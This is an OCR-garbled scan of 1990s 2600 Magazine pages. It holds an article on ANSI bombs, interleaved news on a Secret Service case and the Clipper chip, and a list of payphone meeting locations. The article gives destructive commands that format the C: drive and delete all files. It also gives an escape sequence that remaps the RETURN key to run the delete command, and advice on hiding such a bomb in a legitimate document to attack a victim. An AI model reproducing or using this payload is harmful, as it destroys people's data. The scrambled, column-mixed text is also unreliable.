that command in a series of codes. Please note 
t h e  t w o  fo l l o w i n g  c o m m a n d s  ( t h e y  are 
important in the making of ANSI bombs).  
ECHO Y I FORMAT C: > NUL 

and 
ECHO Y I DEL * .*  > NUL 

T h e s e  t w o  c o m m a n d s  c a n  c a u s e  great 
damage, and when they are embedded in ANSI 
codes within a picture or document, they can 
cause great destruction. Imagine the problems 
you c o u l d  c a u s e  b y  s h o w i n g  s o m e o n e  a 
picture . . . .  

Let's  get t o  the meat o f  the maUer. T o  make 
a dangerous text file, type: 
ESQ I 3 ; 1 3 ; 1 0 1  ;99; 1 04; 1 1 1  ;32; 1 2 1  ;32; 1 24;32 ; 1 00; 1 0 1  

; 1 08;32;42;46;42;32;62;32; 1 1 0; 1 1 7 ;  1 08; 1 3p 
Note: normally this ANSI code would be all 

on one line with no spaces or carriage returns. If 
you do not have the DOS 5 editor, try typing 
AL T 27 to generate the ESC character. 

A n y w a y ,  t h e  a b o v e  c o m m and w o u l d  
redefine the RETURN key as: 
HIT RETURN 
ECHO Y I DEL • .* > NUL 
HIT RETURN 

The 1 3p at the end of the command hits the 
RETURN k e y  ( thereby e x e c u t i n g  t h e  
command). 

Remember, you can use ANSI bombs to 
redefine one or many keys when it is  viewed. 
By viewed, I mean: 
TYPE filename. ext 

By simply viewing a file which contains an 
A N S I  b o m b  ( u s i n g  t h e  D O S  " T Y P E "  
command), you could possibly have your keys 
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redefined! Remember, it 's  possible that a BBS 
sysop could even redefine your keys over the 
phone just by having you look at a picture! 

Hypothetical l y ,  if you we
'
re a sysop you 

could create a great ANSI using The Draw 
ANSI editor. It might say "GO A WAY" in big 
letters. The sysop might use this "picture" when 
logging off troublesome individuals .  After the 
picture has been made, load it into the DOS 5 
editor. Go to the end of the document. Type in 
your ANSI bomb ! Save it .  The next t ime a 
troublesome individual calls, you might be able 
to zap h i m  by redefi n i n g  h i s  k e y s  v i a  the 
modem ! But many communications packages 
appear to fi lter out these escape c h arac ter 
combinations . The best way to get your victim 
is to add an A N S I  bomb to a l e g i t i mate  
document in a program that he wants to  have. 
When he views the document using the TYPE 
command, he will redefine one or more of his 
keys and will be zapped ! 

Remember, these bombs are completely 

will be awarded to Steve Jackson Games 
of the Privacy Protection Act of 1980 and for 

as a result of the raid by the Secret Service in 
1 990. Jackson's legal fees, which could amount to 
hundred thousand dollars, must also be paid by the 

I �m/emmerlt_ Each plaintiff in the case was also awarded 
under the Electronic Communications Privacy Act of 

The SeCret Service violared this act when they seized 

mail on the lliuminati BuDetin Board System. Every 
board could have been awarded $1 ,(0) if they had 

suit This is obviously a very positive nuning point 
wouldn't have been possible without Sieve Jackson, the 

community that stood by him, and the Electronic 
I Frcmtier FcwlatiolR for providing the expertise and financing, 

probably also thank the Uniled States Secret 

of the USSS, Computer Professionals for 
Reslpom;ibiliity haS been vigilantly pursUing the facts 

I COl�cernirlg the breakup of the DC 2600 meeting in 
I j�O'vemloec. In response to a Freedom of Infonnation Act sui� 

Service has officially acknowledged that it 
"intiYm,.tinn relating to the breakup of a meeting of 

aI the Pentagon Oty MaD in Arlington, Virginia" 
infonnation is being withheld "because the documents 
requesled file contain infonnation compiled for law 

lenforc:errlent purposes" and because disclosure "could 

invisible to anyone doing a TYPE filename.ext ! 
However, it will only be invisible if he has the 
ANSI.SYS driver active. Most pegple do. Your 
bomb will appear as gibberish to someone who 
does not have the ANSI.SYS driver active and 
it will not work on that particular machine. In 
both cases, neither realizes what is going on. 

How to Detect or Prevent ANSI Bombs 

G e t  t h e  p r o g r a m s  P K S F A N  I I . Z I P ,  
ANSICHEK.ZIP,  o r  ACHKFILE.EXE. The 
first stops key redefinit ions and the others 
locate them in non-executable files. 

Conclusion 

This article was provided as an educational 
essay on the redefinit ion of key s .  There i s  
nothing here which does not appear in any DOS 
manual - it ' s j ust explained differently.  The 
writer and 2600 Magazine do not recommend 
that you do anything illegal or destructive with 
this information. In fact, it is recommended that 
you do not attempt to follow any of the above 
instructions. 

infonnation was obtained "in the course of a 
investigation thai is being conducled pursuant to 
Service's authority to investigale access device and 
fraud." The agency has also admitted to 
documents which "consist solely of infonnation IUCIIWYUIgI 
individuals." CPSR's inlerprelation, with which we agree, 
thai the Secret Service convinced the mall security people 
illegally obtain a list of the people who attended the 
Thai list is now in the possession of the Secret Service. 
short, the Secret Service appears to have been caught violating 
the law. Stay tuned. 

You may have heard mention of the Oipper Orip, which 
basically � to a plan by the government to take back 
control of encryption. It appears thai one slandard would be 
Utilized and the government would always have the ability 
break your code if they so chose. Needless to say, this 
sitting well with privacy advocales. The question everyone is 
waiting on is whether the government actually believes it can 
outlaw other foons of encryption. Expect a lot more on this in 
future issues. 

FmaIly, a public service from the folks aI Full Disclosure 

and 1 ·900-STOPPER. By dialing 800·235· 1 4 1 4, you can 
bear your phone number read back to you. In some places you 
can block your n� by dialing *67 first, a method which 
was originally inlended for blocking Caller ID. While in the 
past we've taken exception to SlDPPER's prices for 
caDs on their 900 line, we have to admit thai operating this 
service and encouraging people to see how easy it is to be 
identified uItimalely =ounts to a good thing. We just hope 
thai anonymous calls can be easily and cheaply obtainable in 
the future as they were not too long ago. 
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%600 MEETINGS 
New York City 

C i t i c o r p  C e n t e r ,  i n  t h e  l o b b y ,  n e a r  t h e  
payphones, 1 53 E· 53rd St . ,  between Lexington 
& 3rd . Payphones: 2 1 2-223-90 1 1 ,8927; 2 1 2-
308-8044,81 62. . 

Poughkeepsie 
South H i lls Mal l ,  6f.f Route 9.  By the payphones 
in front of Radio Si1ack, next to the food court.  
Payphones: 91 4-297-9823, 9854, 9855. 

Buffalo 
Eastern H i l ls Mal l  (C larence) by lockers near 
food court .  

Washington DC 
Pentagon City Mal l  in the food court. 

Cambridge, MA 
Harvard Square , inside "The Garage" by the 
Pizza Pad on the second floor. 

Danbury, CT 
Danbury Fair Mall , off Exit 4 of 1 -84, in  the food 
cou rt .  Payp hones :  203-748-9995 , 203-794-
9854. 

Phi ladelphia 
30th Street Amtrak Station at 30th & Market, 
under the "Stairwel l  7" sign. Payphones: 2 1 5-
222-9880, 988 1 , 9779, 9799 , 9632 ; 2 1 5-387-
975 1 . 

Pittsburgh 
Parkway Center Mall , south of downtown,  on 
Route 279. In the food court. 

Fort Lauderdale 
West H o l lywood Bow l i n g  A l l ey ,  296 South  
State Route 7 .  Ca l l  voice ma i l  for  deta i ls  or 
changes: 305-680-921 4, 1 00#. 

Atlanta 
Meetings announced on local BBS (404) 61 2-
0340. 

Chicago 
Century Mal l ,  2828 Clark St. , i n  the 3rd Coast 
Cafe. 

Memphis 
Hickory Ridge Mal l ,  WinchesterRd. ,  in  the food 
court .  Payphones: 901 -366-401 7,  401 8 ,  401 9 ,  
4020, 402 1 . 

Ann Arbor, MI 
Gal leria on South University. 

Bloomington, MN 
Mall of America, food court. 

St. Louis 
Gal ler ia ,  H ig hway 40 and Brentwood , lower 
level ,  food court  area, by the theaters. 

Austin 
Northcross Mal l ,  across the skating rink from 
the food cou rt, next to Pipe World .  

Houston 
Galleria Mall , 2nd story overlooking the skating 
rink. 

Los Angeles 
U n ion Stat i o n ,  corner  of Macy & Alameda .  
I ns i d e  ma in  e nt rance  by  bank of p h o n e s .  
Payphones: 2 1 3-972:9358, 9388, 9506, 951 9 ,  
9520 ;  2 1 3-625-9923 , 9924;  2 1 3 - 6 1 4-9849 ,  
9872 , 991 8 ,9926. 

San Francisco 
4 E m barcadero Plaza ( i ns ide) . Payphones:  
41 5-398-9803,4,5,6.  

Seattle 
Was h i ngton State Convent ion Center ,  f i rst 
floor. 

Munich, Germany 
Hauptbahnhof (Central Station ) ,  fi rst floor, by 
Burger King and the payphones. (One stop on 
t h e  S - B a h n  tro m H ac k e r b r u e c k e  -
Hackerbridge ! )  B i rthp lace of Hacker-Pschorr 
beer. Payphones:  +49-89-59 1 -835,  +49-89-
558-541 , 542, 543, 544, 545. 

We've noticed Ihat many oflhe payphone numbers 
we've listed haw stopped receiving Incoming calls. 

This Is probably an aIfempt by some entity to keep us 
from communicating. Any suggestions 011 how to get 

around this are most MIcome. 

All meetings take place on the first Friday of the 
month from approximately 5 pm to 8 pm local 
time. To start a meeting in your city, leave a 

message and phone number at (51 6) 751 -2600. 
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